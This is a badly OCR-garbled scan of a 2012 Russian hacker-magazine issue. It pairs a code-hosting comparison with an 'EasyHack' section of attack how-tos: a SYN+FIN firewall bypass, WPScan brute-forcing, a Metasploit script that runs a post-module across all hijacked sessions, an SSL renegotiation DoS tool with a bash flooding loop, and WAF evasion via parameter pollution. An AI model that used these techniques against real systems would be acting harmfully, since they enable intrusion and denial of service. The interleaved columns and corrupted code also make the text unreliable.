Cube Parkour vmenge

sноRтсuты ДЛЯ БЫСТРОЙ

Defend the Castle ZaBBi

НАВИГАЦИИ

Dlvlng Penguln FitzgeraldEnglneering

Кнопка Windows соответствует кнопке Ноте в Android; Esc соответствует кнопке «Назад» В Апdгоid; F2 соответствует кнопке Мепu;

Doodle Dodge Llte Triple Frog

FЗ соответствует кнопке поиска; Установка приложений с помощью

ХАКЕР

02/157/201 2

AndAppStore

• •

Alt + F1 Alt + F7 -

переключение в консольный режим; переключение в режим

GUI.


PCZONE

Бардадым Денис

?8 ВЫБИРАЕМ

ПРАВИЛЬНЫЙ ХОСТИНГ КОДА

Ни один нормальный программист не будет создавать папки вроде

v001, v002

и распихивать по ним

разные версии своих разработок . Вместо этого он воспользуется системой управления версий,

Если ты не имел депо с системой управления версий, то перед тем, как читать статью,

загляни в архив

а репозиторий разместит онлайн, чтобы работать

и найди в #12/2011 номере][ статью

с кодом могли и другие разработчики. Сделать это

«Git&GitHub: с места

можно бесплатно благодаря хостингу кода, выбором которого мы сегодня и займемся.

I

I

в карьер ».


Где хранить код?

ч

то такое хости нг кода? Это место, куда

поможет с раздачей прав на проекте и позволит

и

ты при помощи твоей любимой системы

следить за вносимыми в него изменениями.

того , пользователи одного сервиса, как правило,

issue tracker для

фиксирования проблем. Более

Подобные сервисы предоставляют ряд инстру­

становятся членами активного компьюнити, что

код . Таким образом, с кодом смогут работать

ментов для разработки и поддержки проекта ,

лучше всего видно на примере

несколько программистов . При этом хостинг

например

тором пойдет ниже. Но обо всём по порядку.

SourceForge

ложения. Как тебе идея установить, скажем,

контроля верси й можешь загрузить свой

I sourceforge I

wiki для

issue tracker?

составления документации

выбрать

trac

mediocre,

ты можешь

Поддерживаемые системы контроля версий:

самое относится и к другим приложениям,

которые также можно развернуть:

Проекты:

рум, блог и т. д. Более того, даже если ни одна

wiki,

предустановленная программа не подошла ,

Основные возможности:

ты всегда можешь установить сторо нни е при­

code review,

почтовые рас­

ложен ия. Для этого предоставляется

..

...

..... _ _ _ .. n

...

---

shell-

се рвер , который позволяе'Т загружать рабочие

сылки, форум, shell-сервер.

файлы по ПР или

SourceForge

-_ .......-_ _. __._ .... .........-_ ...___

фо­

Только под свободной лицензией. tгасkiпg,

....

"'"""

или какой-нибудь еще. То же

CVS, SVN, Git, Mercurial, Bazaar.

Wiki, bug

речь о ко­

Е сли тебе не нравится исполь­

зуемый по умолчанию

www.sourceforge.net

GitHub,

является одним из родона­

SCP.

Приложение должно

быть написано на РНР!RuЬу!Р уthоп и ис­

Sourc_Forg_

чальников сервисов для хостинга проектов

пользовать в качестве базы данны х

с открытым исходным кодом. Для каждого

Подобная расширяемость и навороченность

димый функционал . Стоит отметить, что сама

проекта предоставляется уникальный домен

затрудняет освоение сервиса: новичку такой

платформа SourceForge изначально была

имя_проекта.sоuгсеfогgе.пеt, который полно­

перегруженный интерфейс может показаться

открыта: ее мог развернуть любой желающий.

стью попадает в распоряжение владельца.

излишним. С другой стороны, если тебе чего­

Однако с

Одной из ключевых является возможность

то не хватает на других хос тингах кода, то

остался лишь форк Sаvаппаh.

быстро развертывать дополнительные при-

здесь ты можешь реализовать любой необхо-

Резюме: Для эстетов.

Google Code IGoogle code I

держание указанных страниц. К примеру, если

MySQL.

ты уже хранишь исходники, скажем, на

GitHub Google Code, ст раницу wiki с адресом

и не хочешь размещать их на

Поддерживаемые системы контроля версий:

то просто создаешь

GIT, SVN, Mercurial.

репозитория (чтобы пользователи нашли твои

Проекты: с открытым исходным кодом.

исходникиl и указываешь ее в качестве содер­

Основные возможности:

жания страницы hоstiпg ,

issue tracker.

Sources.

_

._---_ .. ._,...._._ ....._.._.- ......-_.............--............._-.-.-." _.._..'1-.-.-... _-., ,----

._.. _-- ...,..--_., ._._-- ....-

Стоит также отме­

тить удобство настройки issue -т рекера и рели ­ зов файлов. Можно задавать свои собственные

Изначально предполагалось, что этот

х остинг проектов от

Source Forge.

Google

станет убий цей

Сейчас это один из самых про­

статусы для

issue

и метки для выложенны х

файлов. И наверное, с амая главная особен­

задействует другие сервисы

для каж дого проекта доступны

рассылка осуществляется с помощью

tracker

и репозиторий исходного ко да. Гибки е

AssembIa

Google Groups

объединены с

Google.

Почтовая

Gmail. issue tracker·OM.

входит поддержка шаблонов отчетов

600gl_ (od_ в качестве учетных записей, естественно, и с­ пользуются аккаунты Резюме: Для фанатов

Google. Google и

новичков.

Scrum

(популярная сегодня методика управления разработкой информационны х системl, про­

www.assembla.com

двинутая система тикетов, а также инстру­

Поддерживаемые системы контроля версий:

менты планирования для гибкой методологии

Git, SVN, Mercurial.

разработки (Agilel. Сервис явно рассчитан

Проекты:

не на социализацию, а на активную работу:

бесплатные аккаунты для опенсорсных про­

он хо рошо подойдет средним и большим

ектов и платные подписки.

командам разработчиков. Здесь есть такие

Основные возможности:

инструменты для совмес тной работы , как

wiki, tickets, code review, ftp, time tracker, build system.

wiki, files, messages (хорошая замена почто­

Этот сервис в некотором роде уника­

-~

ность этого хостинга заключается в том, что он

стых в освоении се рвисов . По умолчанию

wiki, issue

года исходники закрыли­

настройки позволяют менять названия и со­

code.google.com!hosting

code review, wiki, release

2000

..-

g:::~:.....:.;:.-J:.=';:.::::-=~':::' __ ._--I I::..=·. .=~::....-;:"·-=~=:::.. __.:::;~.:;=---:;.::::.. I _

.. .... Ull WIIII

-

=:~=."=:::-"-"_._--"'--

::::::.::::.::-- ...

~E-::=";'Z';:=:'::"-::t=':::"--"'-"'-"--Ass_mbIa

вой рассылкеl , отчеты о проделанной работе, групповой видеочат, а также так называемый

есть немало крупных компаний, которым не­

« поток активно с ти », который очень нагляд­

обходимы средства для управления работой

лен по своим воэможностям. Он имеет как

но показывает состояние проекта, а также

над проектом: метрики , статистика кода,

обычные для др у ги х хос тингов фишки,

выполняемые задачи . Среди ог ромного коли­

tracking

так и со вершенно уникальные. В их число

чества клиентов (а их больше полумиллионаl

Резюме: Для больших команд и компаний.

ХАКЕР

02/157/2012

и т. д.

time


PCZONE основой зтого хос тинга является не система

Bitbucket

контроля версий

Git, а Mercurial, что

стало

;::,.~.:==-....:::-_---,_

одной из ключевых причин его популярности .

bitbucket.org

Сейчас используемая система контроля версий

Поддерживаемые системы контроля версий:

не так уж и важна: хостинг поддерживает

Git, Mercurial.

и

Проекты:

фича, из-за которой многие отдают предпочте­

....

же главная киллер­

неограниченное количество открытых

ние именно

и закрытых репозиториев с возможностью

платно создавать неограниченное количество

добавлять до пяти коллабораторов Iколлабо­ ратарами обычно называют соразработчиковl.

закрытых репозиториев кода 'В каждом может

Платные подписки.

услугу пришлось бы платить денежки . К тому

Bitbucket, -

это возможность бес­

быть до пяти участниковl. У

трекером

JIRA,

который используется во

многих крупных компания х. Это разработка

_М_.""_

IIТ1I'I

_-__ _-_-

..

'_ .... .,.,....-. .... _ _ .... _ _

.-._.

'_

х_

...... .. ........

_~

~

-.----'-

GitHub за подобную Bitbucket

же проект здесь никак не ограничен в объеме Многие программисты знакомы с баг­

. . . . . .-......_" ....

_ _ _ _ .....

Mercurial, и Git . Самая

. _-

дискового пространства. Хостинг может по­

мочь переехать с других сервисов 'ты просто

и начинать процесс

указываешь адрес, а остальное он сделает

Bitbucket

как таковой . Зато

review

предлагает удобную интеграцию

в портфеле продуктов которой, помимо про­

терфейсом

caMI, а благодаря сходству интерфейса с ин­ GitHub переезд будет безболезнен­

же самым баг-текером

чего, ес ть и хос тинг кода.

ным. Но следует заметить, что у сер виса слабо

зволяет создать привязку для любого другого

на битовl с функциональной точки зрения

развиты инструменты для

инструмента Iхотя такой АРI есть и у GitHubI.

предлагает то же самое, что и

возможности комментировать отрывки кода

известной австралийской компании Аtlаssiап,

Bitbucket IКорзиGitHub. Однако

review

кода

нет

-

с др у гими сервисами, например хотя бы с тем

JIRA,

Резюме: Для фанатов

Git

и

а

REST АРI

по­

Mercurial .

проектах и активность программистов. Это

GitHub

лучшая площадка, чтобы найти энтузиастов,

...... _

которые могли бы принять участие в твоем про­

github.com

екте, или с ГОЛОВОЙ окунуться в идею, которую

Поддерживаемые системы контроля версий:

кто-то здесь уже развивает. В погоне за со­

Git, SVN Igit-svпl.

циализацией разработчики не оставили без

Проекты:

внимания и самое важное

бесплатные публичные репозитарии

1300 МБ

-

кода . Чтобы создать фор к проекта, требуется всего лишь дважды кликнуть мышью. Если ты

ражающий его философию,

-

социальный ко­

-- - __..

Чего стоит один только просмотрщик измене­

Основные возможности :

Лозунг зто го хостинга, непосредственно от­

n _ ...

:::.. ......::::::.=

~ --

ные аккаунты.

почтовые

_

.... _ . . _. . _ _n_ . .

работу с кодом.

ний Idiff viewerl, с помощью которого ты можешь

рассылки, сохранения заметок.

.. _

'==:.:::..--:---

=---;:::':;=0=

общего дискового пространстваl, платные подписки Iзакрытые репозиторииl, команд­

code review, fork, wiki, issue tracker,

.. _

11 а

комментировать и обсуждать любую строчку

GitHub

хочешь, чтобы твои изменения попали в основ­

заметит его .

ной репозитарий, следует отправить специ­

из лучших инструментов для

альный запрос 'так называемый pull requestl

возможностей этого инструмента

его владельцу. Основой сервиса является

иопределениеязыкакод~комментирование

распределенная система контроля версий

GitHub также

предлагает один

review -

кода. Среди подсветка

строк кода и коммитов. Некоторые по разным

Git.

динг. Здесь все крутится вокруг кода и совмест­

Веб-интерфейс с легкостью позволяет делать

причинам недолюбливают

ной работы разработчиков. После авторизации

форки, накладыватьпатчи, предлагать слияния

нее, можно сказать наверняка, что это самый

ты увидишь что-то вроде страницы в

-

Facebook

только вместо новостей друзей здесь ото­

бражаются изменения в интересующих тебя

CodePlex

Imerge requestsl. Тут же можно развернуть - интерфейс сделан так, что тот,

популярный среди хостингов Git-репозиториев .

И тебе он тоже понравится.

кому адресовано сообщение, обязательно

Резюме: Для фанатов

Net. Что

говорить, если прямо из

.

Visual Studio

можно работать с тасками , багами и версиями

www.codeplex.com

проектов , которые хостятся на

Проекты:

полностью бесплатный. Каждому проекту вы­

только под свободной лицензией .

деляется домен имя_проекта . соdерlех.соm . Из­

Поддерживаемые системы контроля версий:

начально скрытая страница проекта не раскры­

Mercurial, TFS IMicrosoft Теат Fоuпdаtiоп Serverl.

вается в течение месяца, чтобы у разработчика

Основные возможности:

wiki, code review,

Codeplex.

.Net, то

В этом нет ничего удивительного­

ведь это проект компании

Microsoft. И

хотя ни­

_ __

................... _

и новичков .

_-

.. .....о!~

::.::::.-.::.:::.."':".:..." •.::=...:====;::::::::::..."":"'_....:::;:=. ... .... ..........

::;: ..

_-- ....

была возможность заполнить документацию,

ет настоящую жизнь

тым исходным кодом на платфторме

П

Git

Сервис

с лицензией . После публикации проект начина­

Если и искать где-то проекты с откры­

на

CodePle x.

выложить текущие исходники и определиться

почтовая рассылка .

но, тем не ме­

дискуссию

считается настоящей Меккой для проектов на

11 CodePlex 1 I

GitHub,

-

CodePlex

с этого момента можно

подключать разработчиков и редакторов,

командам разработчиков, так как интерфейс

начинать обсуждения и т. д. В целом

заточен под

CodePlex

оставляет ощущения продуманного проекта

и по функционалу си льно напоминает

GitHub.

wiki,

а не под исходный код . Дру­

гими словами, платформа , скорее, ориентиро­

ва~анапубликациюlведениедокументацииL

кто не накладывает ограничения на инструмен­

Тем не менее, зтот сервис больше подойдет

а не на разработку.

ты, используемые для разработки, этот хостинг

программистам-одиночкам или небольшим

Резюме: Для разработчиков

.Net.

ХАКЕР

02/157/2012


Где хра нить код?

серверах и использовать свой собственный

Gitorious

хостинг кода для работы с файлами разных

проектов [например, внутри предприятия).

gitoгious.oгg

Правда , спешу предупредить, что в плане

Поддерживаемые системы контроля версий:

удобства проект, на мой взгляд, оставляет же­

Git .

лать лучшего . Он скорее подходит индивиду­

Проекты:

альным разработчикам, чем команде кодеров.

публичные репозитории.

К примеру, здесь напрочь о т сутствуют хот ь

Основные возможности:

какие-нибудь инструменты для

wiki, code review,

От встроенного

почтовая рассылка.

wiki

review

кода .

нет никакого толку ~ он

абсолютно не годится для ведения проект­ Как несложно ПОНЯТЬ из названия, это хо­

ной документации. Перемещаться по дереву

GitorioU5

стинг для Git-репозиториев кода. Он появился

исходников и просматривать ЫоЬ'ы [исполь­

раньше, чем

зуемые в Git структуры данных) неудобно.

интересных проектов, то на

вяло. Это особенно странно с учетом того, что

С другой стороны, местами интерфейс даже

много известных разработок. Е сли бы не ре­

исходники

понятнее , чем у

GitHub,

Gitorious

но развивался довольно с самого начала были

GitHub:

например, очень на­

пазитарии библиотек

открыты. Таким образом, ты без проблем смо­

глядно отображается части проекта и права

зачах бы совсем .

жешь развернуть подобный сервис на своих

доступа . Если

Резюме: Для фанатов

I<ilnl

Kiln

GitHub -

это настоящая кладез ь

настроенная на твой аккаунт, что позволяет

очень быстро сделать импорт из

Git-, SVN-,

Мегсuгiаl-репозиториев. Для работы под

Поддерживаемые системы контроля версий:

виндай предоставляется расширенная версия

Mercurial .

клиента

т о проект, возможно,

Git.

.", --

TortoiseHg, специально за точенного Kiln имеет грамотный интер­ фейс для геviеw-коАа, да и вообще весь UI вы­ под этот сервис.

Основные возможности :

полнен на самом высоком уровне. В качестве

code review, bug tracker.

bug tracker'a

предлагается отдельный продукт,

известный в кругах программистов, Этот сервис можно назвать одним из лучших

не так

специальная утилита импорта, по умолча нию

www.fogcгeek.com/kiln

Проекты: только платные подписки [возмо­ жен бесплатный доступ на 45 дней).

Qt,

Gitorious

- FogBugz

Кiln

[правда, только при расширенной подписке).

хостин гов Мегсuгiаl-репозиториев, у которого,

В целом этот сервис хорошо под хо дит для но­

заняться напи санием кода, а не возиться с на­

пожалуй, есть только один минус

вичков , которым придет ся по душе прод уман ­

стройкой среды разработки. Но для зто го, увы,

ный и не пере г руже н ный лишними наворотами

придется за пл атить денежку.

Для миграции с других хостингов предлагается

интерфейс. Короче говоря, с

Резюме: Для фанатов

Launchpad

этой компании, п о дскажу: это те же парни,

ный. Использовать его

-

-

он плат­

одно удовольствие.

Kiln

можно сразу

__ _---_._ _-_

которые породили на свет бешено популярный

---_. ........ -_ __ _...__....__---

launchpad.net

UЬuпtu

.....

Поддерживаемые системы контроля версий:

что

пытаешься вспомнить, где слышал название

Проекты:

Linux. Нет ничего удивительного в том, Launchpad ориентирован на зту ос. Напри­ мер, он п оддерживает Ubuntu РРА [Personal Package Archives), что позволяет легко

опенсорсные проекты .

снабжать пользователей Убунты программами

Основные возможности:

и обновлениями . Для большинства проектов ,

code review, bug tracker, faq, answers .

которые хос тятся на

Bazaar.

Lau chpad,

..

_ _ r ___ _

_

..

Не могу не отметить несколько фишек, кото­

и новичков.

~-

....

~-

. .~--;:;-;::-;:;-

1-:-;: :;

необходим го­

товый репозиторий для Liпuх-пользователеЙ. Этот хостинг кода примечателен прежде

..

Mercurial

~.

• --

Launchpad

всего тем, что построен на системе контроля

рые крайне удобны в работе. К примеру, для

версий Bazaar, разработанной компанией Canonical. Собственно, самим Launchpad за­

каждого проекта можно сделать раздел «Во­

и оповестит всех участников, открыв на сайте

просы И ответы», а продвинутый инструмент

дискуссию .

нимаются те же самые разработчики. Если ты

для

Резюме: Для фанатов

ТАК ЧТО ЖЕ В ЫБРАТЬ?

code review

сам проверит все конфликты

контроля версий в целом . У

GitHub огромное

Ubuntu.

трибутив И документацию, а заодно пообщаться

Каждый выбирает сервис под себя. Но если

комьюнити и один из самых передовых интер­

с пользователями, неплохим выбором буд ет

хочешь моего со вета , то я бы рекомендовал на­

фейсов, а

Google Code.

чинающим разработчикам

крытые репозитории

GitHub

или

Bitbucket.

Bitbucket

позволяет создавать за­

-

а это дорого стоит. Тем

Это отменные сервисы, которые к тому же от­

программистам, которые специализируются на.

лично док умен тированы: ты без труда сможешь

Net,

освоить не только внутреннюю кухню самих

может похвастать ся

хостингов кода, но и приобщиться к системе

В случае если нужно про сто выложить дис-

ХАКЕР

02/157/ 2012

возможно, приглянется

CodePlex - он один интеграцией с Visual Studio.

Если твоя разработка потенци­

ально может заинтересовать пользователей

Ubuntu Linux, то можно попробовать LaunchPad . AssembIa и Kiln подойдут программистам, рабо­ тающим в команде, но им я советова ть ничего

не буду. Они и так все знаю т : ).:Х:


ВЭЛОМ/ЕАSУНАСК

Алексей «GгеелDоg» Тюрин,

Digital5ecurity Itwitter.com/a ntyurinl

ОБОЙТИ СЕТЕВОЙ ФАЙРВОn

."'1r.4!r.4 -ЧЬ?

ный баг. Он заключается в том, что файер не проверяет присутствие Предположим, что в защищенном файерволом сегменте сети нахо­

SУN-флага для уже « установленного » соединения , то есть во входя­

дится некая цель. Также допустим, что входящие соединения с этой

щем па кете не виден RSТ-флаг.

целью запрещены, а исходящие от нее разрешены. При всем при

Думаю, теперь общий принцип атаки понятен. Мы должны под­

этом файервол использует для подключения динамическую филь­

ключиться к хосту С помощью ТСР-пакета

трацию

будет блокирован файерволом, так как тот сочтет, что мы использу­

keep-state,

с которой для начала нам и нужно разобраться .

Проще говоря, динамическая фильтрация

-

это такая фильтрация,

SYN + FIN, который

не

ем установленное ранее соединение, а не инициализируем новое,

при которой для заданного правила автоматически создается об­

запрещенное правилами. Атакуемый хост Iнаша целы отправляет

ратное. Например, если есть правило «разрешить трафик от хоста

ответ

А на хост Б с порта

блокировать, так как исходящий трафик от нашей цели разрешен.

XYZ

на

ZYX

по протоколу ТСР » , то для того, чтобы

данные могли пройти обратно 10T хоста Б к А), файервол также

SYN + АСК,

а далее идут АСК'и, которые файервол и не должен

Важный вопрос здесь заключается в том , как часто такие «дыр­

должен использовать соответствующее правило. При динамической

ки » встречаются в фаЙерволах. Лично я не сталкивался с такими

фильтрации обратное правило создается автоматически, как только

уязвимостями в живой природе, но видел на бескрайних просторах

задействуется первое.

интернета несколько упоминаний о них. В любом случае идея мне

Теперь, когда мы определились с терминами , можно переходить

кажется довольно интересной, так что дерзай!

непосредственно к обходу фаЙервола. Теоретически мы никак не можем добраться до цели, так как любые наши попытки подклю­

чения IТСР-пакеты с SУN-флагом) будут блокироваться. Как ты на­

верняка знаешь, ТСР/IР-протоколы очень гибкие, а RFC описывают далеко не все тонкости. На этом мы и сыграем. Отдельные операционные системы, позволяют устанавливать соединения посредством ТСР-пакета с некоторыми дополнительны­

ми флагами, за исключением SYN IKaK ты помнишь, для установки соединения по RFC должен присутствовать только этот флаг). К таким ОС относится как Windows, так и Liпuх Iправда, не все версииl. Полный список можно посмотреть по адресу goo.gl/9mu 12. Какие именно дополнительные флаги нужны? Такие, которые являются легитимными при установленном соединении, то есть, к примеру,

FIN, АС К, RST Iэтот список можно продолжать) .

'121......0. IfI Fr_ )0: 11bytl' anw1r. (464 bfta), 'Ibytl' capturad (4601

ео

Ыса)

lI, ,гс: НO/'IН&1'г ..-G:bd:fО (c4:17: f l:.o:bd:fO), ~C: .......... __ эЬ:Ь Int.rnlc,r ot oc01., ,гс: 19J . lel . O.l01 (1.i.161.0. 101),Dst: 1 112. 161, 0. 10)

III tch.rrмc

:8

~IiISl1~~rol PrQ1: .. ~. 11'( 1'«(: ЭЩl ()l1ф .

с: ~

t (111),

sourclport:1D1S1()1151

.

DUt1l\Ac1Qf1po1't: .~(lH) [str ... tndlx:l0] 58qUlnCl,...мг:о

(r"l.c1vI'lqutnCI"""')

118&Dv 1.ngth: 24 trytl'

-

-

-

ooo.o.o ......

ltlllrv.d:l+Ot"t

••• O •••••••• -NOnI;.:~ • • t о". О" . . . . . . . CongtstlOn IttndoW .1d\lCad

.."

,О ••••••

(а,а):

• 5CN· Ccho:lfOt •• t

...... О ....... urg.nt:1I0t •• t ", .... О . . . . . ,t.tknowlщ ...nt: , ••• ,.,.O", . PUSh:NOt S.t •••••• ,. ,O" .. ....t:NOt •• t

11 .••.••••• , .. S')'II: s«

:. . ~.:0X10.r r~l· . ---~ .----~-----------_.. (v.ll1dlt1and1sIb18d]

. Chtlclc.~:

• opt1ona:

(~

bytll)

Итак, мы выбрали один из указанных выше флагов . Перейдем ко второму этапу, на котором нам нужно найти в файерволе определен-

Соединение установлено, несмотря на лриwедwий ТСР-лакет

5YN-FIN

ХАКЕР

02/157/2 01 2


EASY

НАСК

ВЗЛОМАТЬ САЙТ НА WORDPRESS вает, после обнаружения какого-либо критичного бага проносится

WordPress

является одной из самы х распространенных

CMS

в

волна взломов. Но если основной движок уже не преподносит

ми ре . Она имеет множество плагинов , тем и настроек , что по­

таких сюрпризов, то его плагины

зволяет с легкостью создавать самые специфические ресурсы, как

Для каждого популярного продукта или технологии существуют

большие, так и маленькие. Конечно, эта особенность привлекает к

свои сканеры безопасности, позволяющие автоматизировать и

WordPress

внимание и белы х , и черных « шапок » . Как это часто бы-

-

регулярно.

облегчить труд х акера или ИБ-исследователя. Вот и для WordPress не так давно появился специализированный софт под названием

WPScan Ic оdе . gоо g l е . соm/р/wрsсап /l . Автором этого творения является Rуап Dewhurst. Функционал программы не так широк, как хотелось бы не­ которым, однако в нем присутствует всё самое необходимое. Во-первых, это определение версии и имеющихся в ней паблик­

уязвимостей . Во-вторых, определение плагинов [в базе WPScan'a их 22201 и, опять же, их уязвимостей. В качестве бонуса при­ сутствует многопоточный брутфорсер имен и паролей. С точки зрения применяемых алгоритмов эдесь всё тривиально : перебор и парсинг ответов . Следует учитывать, что это возможности лишь

первой версии. По заверениям автора , в последующих будут при­ сутствовать и сами эксплойты для найденны х уязвимостей , что, согласись, приятно

.•

Пользоваться тулзой достаточно просто . [Надеюсь, на твоей ма­ шинке установлен

Ruby? :11

Здесь метр

«--url www. ехаmрlе.соm » -это сканируемый хост, а пара ­ «--enumerate р» указывает на то, что модуль для определения

плагинов подключен. Кстати, с помощью этой тулзы можно попро­

бовать просканировать и свой ресурс, но лучше всё же воспользо­ ваться специальными плагинами для

Определяем плагины WordPress

WordPress

вроде

WP Security

Scan [goo.gl/Ykcn81.

ПРОКАЧАТЬ ВЫВОД ИЗ

NMAP

ы.,-,йr.4 Т_А

второй

В се мы знаем и используем в своих легальны х и не очень делах

такую утилиту, как

Nmap [ пmар.огg l. Одним из преимуществ этой Nmap и х

-

имя итогового файла. На выходе получаем симпатичный

удобочитаемый HTML-Аокумент. Отмечу, что, хотя всё это и вы­ глядит довольно просто, описанная тулза имеет довольно широкие

программы являются способы вывода информации. У

возможности

четыре :

других типов XML-фаЙлов.

1.

-

ее можно использовать для форматирования

пmар[-оNI-подефолту.

2. gпmар [-оGI- вывод в.строку для удобного применения в grep. З. xml [-ОХI-ВbIВОА в формате XML. 4. $cгlpt КiDDiЗ [-оSI-для фанов leet speak. Кроме того , используя аргумент -оА, можно организовать выв о д сразу в первых трех перечисленных форматах. По факту

с амы м юзабельным для операций поиска является формат

а для анализа

SC.n SUmm.ry NmapS.SfIIfH,1 wlllnltlate\tIl Нlln oec I ~QOiO':44 _ -04 1 0 1 . IIJ/Ifиn·р ·' '', I8'. О. 1 v.rt>oeIty: O;DIII"9~ O

gnmap,

- XML [через ZепМар, напримерl. Но что если нам

хочется приложить красивый лог скана к какому-нибудь отчету о

проделанной работе? Ни один из приведенных форматов для этого не подходит. Можно, конечно, распарсить

XML,

но мы поступим

Ho.tn8m8. о

проще l

Итак , идем на xmlsoft.org/XS LT/xsl tp roc.html и качаем там ма­ лень к ую программку под названием

xsltproc [кстати, она входит в

01,· ]00 (I'JII;)

ТN 'SS)I POI'tS$C_blltl'ClC~btIow

• 6151 I potu replieowkll: ....u

комплект BackTrackl, затем пишем в консоли следующую команду:

Здесь первый пара метр

ХАКЕР

02/157/ 201 2

-

это скан птар в ХМL-формате , а

Т

Красивый вывод из

Nmap за

пару кликов


ВЗnОМ/ЕАSУ НАСК

КОМАНДОВАТЬ СРАЗУ ВСЕМИ ШЕЛЛАМИ ИЗ

Хочу рассказать тебе об одном маленьком, но крайне юзабельном трюке . Если мы проникли сразу на несколько машин, то, чтобы не

MSF

... r.un_sing~e .( "r.Un" ) .. . sleep :1, eod

писать команды в каждой из пол уче нны х сессий, мы можем восполь­ зоваться радостями доступа к

Ruby прямо

из консоли

MSF,

запустив

Код гюлучился тяжеловатым, но мы можем вписать его в гс-ф~йл и

постмодуль сразу во все х сессиях:

при необходимости запускать с помощью следующих команд:

msf? usg . R9.~j;jwin(J9w~jgatt:1E~rl.~Ol,Jm_do.m.a],rJ._j;Qkens . I1Jsf.. еIJЧ!!1_Фmi!i!1_tQkgЛ'!р. irЬ .. framell!ork .•..s.e.s.~i.ons. giKhjeY cJ.Q.. I.sgssion.l. run_s]'ngle( "set $.~$$JON#.{sg.ssj,on}" ) print_st.at.us ( "Runniog #{;;Kt:i,Y~Ullodule. ,f.ul.lname}

m:;f> . u.se J1Q.~t/lI! iпdQ.II!:;jgаthе.r/gО.I,J_I1J_dО[lIаiп_t9.kещ !!I.sf епum_QРl!!iI.iп_ tQk~!1P. rе.sрчr.се.. Т.uп'!ц ....rс Всё! Постмодуль запущен на всех поовненных машинах. За зту идею

респектуем Jcran'y Igoo.gl/slhXfl.

аgаiл.s.t #{se~s.:i9n}" )

ЗАDОSИТЬ СЕРВЕР С ПОМОЩЬЮ

SSL

Ei~'IJAi"'l ;,л

Продолжаем мучить

SSL . В

позапрошлом выпуске рубрики мы

разбирали уязвимость под названием

SSL Renegation vuln

в

SSLv3/TLS-протоколе. Информация о ней была обнародована в далеком

2009

год у, позтому в большинстве случаев она давно

прикрыта . Как бы то ни было, официальные патчи уже есть, а

renegation ITO есть переинициализация того же защищенного ТСР-соединенияl уже не является опасной фичей, а потому у многих включена.

Теперь давай ра ссмотрим другую интересную особенность SSL-протоколов. При установке защищенного соединения сервер

затрачивае т горазд о больше процессорн ого времени

ITO есть боль­ ше использует процессорl, чем клиент. Как ясно из задачи, зтой особенностью можно воспользоваться в дестр ук тивны х целях. :-1 К слову сказать, о ней известно довольно давно, но лишь недавно

группа ТНС представила тулзу, которая реализует описываемый

тип DoS-атаки для SSL Iwww.thc.org/thc-ss l-dos l. Атака фактиче­ ски организуется путем множественных операций переинициа­

лизации защищенных соединений Irenegationl в контексте одного SSL-соединения.

Запускаем

SSL DoS

Какова мощь такой атаки? Всё до статочно сурово. Пред ста ­ вители ТНС пишут, что сервер затрачивает на установку соеди­

виса Iподдержка SSL обязательнаl, «--accept» -

нения в

того, что мы не делаем ничего пло хо го .

15

раз больше ресурсов, чем клиент, а средний сервер

может поддержива'ть порядка

300

инициализаций-соединений в

Кстати, функция

renegation

подтверждение

:-)

вовсе не обязательна для атакуемо­

секунду. Таким образом, имея всего лишь один атакующий хост с

го сервера. Атаковать можно и без нее , про сто создав множество

нормальным каналом связи IDSLI, мы сможем завалить прилич­

SSL- сое динений, однако нагрузка на канал и клиентскую машину

ный сервер.

при зтом увеличится в разы. Также атаку можно проверн уть и без

Насколько зто соответствует действительности ? Здесь есть ин­ тересные нюансы . ИБ-специалист

Vincent

вание, посвященное способам защиты от

тулзы. Вот небольшой Ьаsh-скрипт от той же ТНС :

Вегпа! пр о в ел исследо­

SSL DoS'a Igoo.gl/Ugw801.

В ходе исследования он выяснил, что затраты проце ссорно го времени сильно зависят от используемого алгоритма шифрова­

tb.C. -.ssl.-Фs.itО . { whil.e...:; do .(wh.iJg ;; Ф.. g~J.\p~; .dошЙ . I \. 9.Rgпssl

s_cHent -~рпш~~t . 127.;I, ,J .•.1.;443 2>Ngуjпul1; for .x in "s.eg. 1 100" ; . Фtl1с-s.s;I,.:ф.sit & dQne

. Ф,nе}\

ния и, как видно из ка ртинки, не настолько велики, хотя разница

всё же заметна. Следовательно, успешность атаки теоретически

Хотелось бы также отметить, что атакуемым сервисом необязатель­

определяется алгоритмом шифрования .

но должен быть

Что касается атаки на практике , то здесь всё про сто. Берем из­ вестную тулзу от ТНС и запускаем ее следующим образом:

HHPS.

Подойдет любой другой порт, поддержи­

вающий SSL IFТPs, POP3s), потому как сервер один и проце ссорное время тоже одно. Если же говорить о защите, то здесь потреб уется как минимум отключить функции клиентского

renegation'a,

исполь­

зовать менее навороченные алгоритмы шифрования и ограничить количество инициализаций-соединений с одного

Здесь

050

127.1.1.1 -IP

нашей жерт вы,

443 -

порт атакуемого сер-

ты найдешь по ссылке

IP.

Подр об ности

goo.gl/Ugw80.

ХАКЕР

02/157/2012


ЕА5У НАСК

О&ОЙТИWАF

ii.J.k!И -.ь-

Как тебе уже наверня ка известно, WAF Iweb application firewall)

Этому запросу соответствуют следующие в хо дные параметры :

- зто 051. В

файервол, который работает на уровне приложения модели

для А5Р и

A5P.NЕТ -

значения, разделенные запятыми

Iраг1 =val1 ,vaI2,vaI3);

простейшем виде зта штука нацелен а на блокирование

для Ap-ache и РНР- последнее значение Iраг1 =vaI3); для Apache и Perl- массив IARRAY[Ox8b9059c]);

для ГИКОВ в необходимую для любого более-менее крупного веб­

для Apache Тотса! - первое значение Iраг1 =vaI1).

проекта вещь. Хотя на практике даже у тех организаций, которые,

Чем з та информация может быть нам полезна? Как минимум по­

казалось бы, просто обязаны заботиться о безопасности пользо­

зволит определить тип веб -се рвера и используемую те х нологию .

таких запросов к web-серверу, которые пытаются выполнить инъекцию или

XS5. WAF уже

5QL-

давно превратился из модной фичи

вательских данных Iбанки, магазины),

WAF'bI если и имеются, то

Максимум того, что она помогает выяснить, очень сильно зависит

только для галочки . То есть они или совершенно устарели, или

как от самого сер вера, так и оттого, как работают и каким функ­

просто не настроены, или же настроены, но неправильно. Пр едпо­

ционалом обладают сами скрипты. Более подробно НРР описан

ложим однако, что наша цель всё же защищена нормальным

в презентации от

WAF.

Luca Carettoni и 5tefano di Paola Igoo.gl/9b9Ix ). А WAF и посмотрим, как применяет­ на примере ModSecurity для А5Р:

Что делать? Есть несколько основных способов их обхода. Одним из

теперь дава й вернемся к обходу

таких способов является модификация запросов к серверу . Обойти

ся техника НРР,

защиту с его помощью удается за счет того, что, хотя протокол

НТТР стандартизирован и описан в множестве

RF(,

обработчики

